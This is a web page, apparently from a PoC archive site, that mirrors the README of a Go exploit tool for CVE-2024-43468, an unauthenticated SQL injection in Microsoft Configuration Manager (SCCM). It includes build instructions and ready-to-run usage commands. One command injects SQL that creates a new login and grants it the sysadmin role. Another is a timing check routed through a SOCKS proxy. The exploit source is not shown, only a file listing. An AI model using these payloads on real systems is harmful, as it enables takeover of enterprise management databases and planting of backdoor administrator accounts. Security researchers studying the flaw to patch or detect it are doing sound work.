Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2024-43468 PoC — Microsoft Configuration Manager SQL注入漏洞

Source
Associated Vulnerability
Title:Microsoft Configuration Manager SQL注入漏洞 (CVE-2024-43468)
Description:Microsoft Configuration Manager是美国微软(Microsoft)公司的一套用于管理企业内部电脑和服务器的解决方案,它可以帮助IT部门保持软件更新、设置配置和安全策略,并监控系统状态。 Microsoft Configuration Manager存在SQL注入漏洞。攻击者利用该漏洞可以远程执行代码。以下产品和版本受到影响:Microsoft Configuration Manager 2303,Microsoft Configuration Manager 2309,Micr
Description
CVE-2024-43468 SCCM SQL Injection Exploit (mTLS version)
Readme
# CVE-2024-43468 SCCM SQL Injection Exploit (mTLS client certs from MacOS keychain version)

Go implementation of [CVE-2024-43468](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-43468) exploit that uses macOS Keychain for mTLS authentication (without need to export keys from keychain). 

Additionally: 
- Added proxy support to not use problematic proxychains.
- Added get_cert_name.py to get certificate Common Name (yes, you can do it from Keychain Access GUI manually)
- Added a lot of debugging to see what's going on

Based on:
- [original Python exploit](https://github.com/synacktiv/CVE-2024-43468)
- [mTLS Go Client example](https://github.com/getvictor/mtls/tree/master/mtls-go-apple-keychain)

## Description

Exploits unauthenticated SQL injections in Microsoft Configuration Manager (ConfigMgr / SCCM) that allows an attacker with network access to a Management Point to execute arbitrary SQL queries on the site database.

Vulnerable versions:
- < 2403 (5.00.9128.1024)
- < 2309 (5.00.9122.1033)
- < 2303 (5.00.9106.1037)
- <= 2211

## Installation

```bash
# Clone repository
git clone https://github.com/nikallass/CVE-2024-43468_mTLS_go
cd CVE-2024-43468_mTLS_go

# Install dependencies
go get github.com/google/uuid
go get golang.org/x/net/proxy

# Build
go build -o sccm
```

## Usage

```bash
# Show help
./sccm -h

# Basic usage (creating new admin)
./sccm -t https://sccm-mp.local \
       -sql "create login user123 with password = 'Password123'; exec master.dbo.sp_addsrvrolemember 'user123', 'sysadmin'" \
       -cn "CertificateCommonName"

# With custom proxy (check with sleep 5)
./sccm -t https://sccm-mp.local \
       -sql "WAITFOR DELAY '0:0:5'" \
       -cn "CertificateCommonName" \
       -proxy "127.0.0.1:9050"
```

### Parameters

- `-t` : Target URL (required)
- `-sql` : SQL query to execute (required)
- `-cn` : Certificate Common Name in macOS Keychain (required)
- `-proxy` : SOCKS5 proxy address (default: empty)

## Requirements

- macOS (for Keychain integration)
- Go 1.16+
- Client certificate in macOS Keychain
- optional: SOCKS5 proxy

## References

- [Microsoft Advisory](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-43468)
- [Synacktiv Advisory](https://www.synacktiv.com/advisories/microsoft-configuration-manager-configmgr-2403-unauthenticated-sql-injections)
- [mTLS Go Client example](https://github.com/getvictor/mtls/tree/master/mtls-go-apple-keychain)
File Snapshot

[4.0K] /data/pocs/e00f835f7832b996a9a6266c60bac68edaace054 ├── [1.5K] get_cert_name.py ├── [ 135] go.mod ├── [ 316] go.sum ├── [ 12K] main.go ├── [2.4K] README.md └── [4.0K] signer └── [7.6K] keychain.go 1 directory, 6 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.